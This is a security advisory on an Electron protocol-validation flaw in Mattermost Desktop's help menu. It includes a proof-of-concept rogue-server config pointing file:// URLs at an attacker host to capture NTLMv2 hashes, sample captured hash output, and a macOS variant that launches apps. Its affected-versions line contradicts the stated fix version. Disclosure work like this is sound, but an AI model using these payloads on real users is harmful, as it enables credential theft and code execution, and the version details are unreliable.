
A Striga scan of Mattermost Desktop revealed that server-controlled URLs bypass Electron's protocol validation entirely, enabling silent NTLM credential theft on Windows.
Overview
Mattermost is a widely deployed open-source messaging platform, often self-hosted by enterprises and government organizations as a Slack alternative. The Desktop application is built on Electron. It connects to one or more Mattermost servers and fetches configuration from each on startup.
A Striga scan of the Mattermost Desktop codebase surfaced a missing protocol validation in the application's help menu. Two menu entries, "User Guide" and "Report a Problem", pass server-controlled URLs directly to Electron's shell.openExternal() without checking the URL scheme. The application already has a security dialog that validates protocols for other external URL navigations. The help menu bypasses it entirely.
On Windows, this turns a menu click into silent NTLM credential theft. On macOS, it enables arbitrary application execution.
CVE-2026-1046, CVSS 7.6 (High), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
How the Help Menu Gets Its URLs
When the Mattermost Desktop client connects to a server, it fetches configuration from the /api/v4/config/client endpoint. The response includes several URL fields, among them HelpLink and ReportAProblemLink. These values are stored in a RemoteInfo object.
src/main/server/serverInfo.ts
remoteInfo.helpLink = data.HelpLink;
remoteInfo.reportProblemLink = data.ReportAProblemLink;When a user opens the help menu, the application reads these URLs and opens them directly.
src/app/menus/appMenu/help.ts
const helpLink = currentRemoteInfo?.helpLink ?? Config.helpLink;
if (helpLink) {
shell.openExternal(helpLink);
}The same pattern applies to "Report a Problem":
let reportProblemLink = currentRemoteInfo?.reportProblemLink;
shell.openExternal(reportProblemLink!);The string passes from server response to OS execution without any URL parsing or protocol check.
The Validation That Exists but Isn't Used
Mattermost Desktop already has a mechanism for safely opening external URLs. The AllowProtocolDialog validates a URL's protocol before passing it to shell.openExternal(), showing a warning dialog for unrecognized schemes.
src/main/security/allowProtocolDialog.ts
handleDialogEvent = async (protocol: string, URL: string) => {
if (this.allowedProtocols.indexOf(protocol) !== -1) {
await shell.openExternal(URL);
return;
}
// Shows warning dialog for non-allowed protocols
};The help menu code path never calls this. It calls shell.openExternal() directly, skipping the protocol allowlist, the warning dialog, everything. The security infrastructure is there. It just isn't wired up for these two menu entries.
From Server Config to NTLM Capture
A malicious Mattermost server sets HelpLink to a path pointing at an attacker-controlled host:
@app.route('/api/v4/config/client')
def client_config():
return jsonify({
"HelpLink": "file:////ATTACKER_IP/share",
"ReportAProblemLink": "file://ATTACKER_IP/share",
"SiteName": "Corporate Mattermost",
"Version": "10.0.0",
})The Desktop client fetches this configuration on startup and stores the malicious URLs. Nothing happens until the user interacts with the help menu.
The user clicks Help, then User Guide. shell.openExternal() executes the URL. On Windows, the file:// scheme with a remote host component is interpreted as a UNC path (\\ATTACKER_IP\share). Windows initiates an SMB connection to the attacker's IP and automatically sends the user's NTLMv2 authentication hash as part of the protocol handshake.
The hash leaves the machine before any prompt or warning appears.
An SMB listener on the attacker's side captures the full NTLMv2 credential:
[SMB] NTLMv2-SSP Client : 10.211.55.3
[SMB] NTLMv2-SSP Username : BARTOMIEJDMFE1C\bartlomiejdmitruk
[SMB] NTLMv2-SSP Hash : bartlomiejdmitruk::BARTOMIEJDMFE1C:695deb71a9684cc0:2C5101461E8A2619D509C256F657B2F3:...
The captured hash can be cracked offline or used directly in Pass-the-Hash or NTLM Relay attacks against other services in the victim's domain.
Beyond Windows
The vulnerability is not limited to NTLM capture. On macOS, the same mechanism launches arbitrary applications:
"HelpLink": "file:///System/Applications/Calculator.app"The user clicks Help, then User Guide. Calculator opens. Replace the path with a .command script, and the server gets shell execution on the client.
Custom protocol handlers registered on the system expand the attack surface further. Any custom:// scheme that the OS recognizes will be invoked without the user seeing a protocol warning.
The Trust Boundary
Mattermost servers are often self-hosted. Organizations trust their instance, and the Desktop client trusts the server's configuration. This is what makes the vulnerability dangerous.
Mattermost Desktop supports multiple server connections. A phishing message with a typosquatted server URL is enough to get a victim to add a rogue server. Once connected, the malicious configuration is fetched automatically and the help menu becomes weaponized. No server compromise required, no insider access, just a convincing link.
The same attack also works through a compromised reverse proxy, a MITM position on the network, or an insider with access to the server configuration.
The scope extends beyond the initial credential. Cracked NTLM hashes often reveal domain passwords. Domain passwords unlock access to file servers, email, VPN, and internal applications. One menu click becomes a lateral movement vector across the entire organization.
This is not theoretical. CVE-2025-24054, a similar NTLM vulnerability, was exploited in the wild against government institutions within one week of its patch release.
Impact
Any Mattermost server can capture Windows NTLM credentials from connected Desktop clients through a standard menu interaction. On default Windows configurations, NTLM authentication happens automatically without any user prompt or visible warning. On macOS, the same code path enables arbitrary application and script execution.
Affected Versions
Mattermost Desktop <=6.0, 6.2.0, 5.2.13.0. Fixed in 5.13.3.0.
Fix
Patched by the Mattermost team. The help menu URLs are now validated through the existing AllowProtocolDialog before being passed to shell.openExternal().
Disclosure Timeline
| Date | Event |
|---|---|
| 04 Jan 2026 | Report submitted to Mattermost via Bugcrowd |
| 12 Jan 2026 | Triaged and confirmed via Bugcrowd |
| 16 Jan 2026 | Patch released (5.13.3.0) |
| 16 Feb 2026 | CVE-2026-1046 assigned |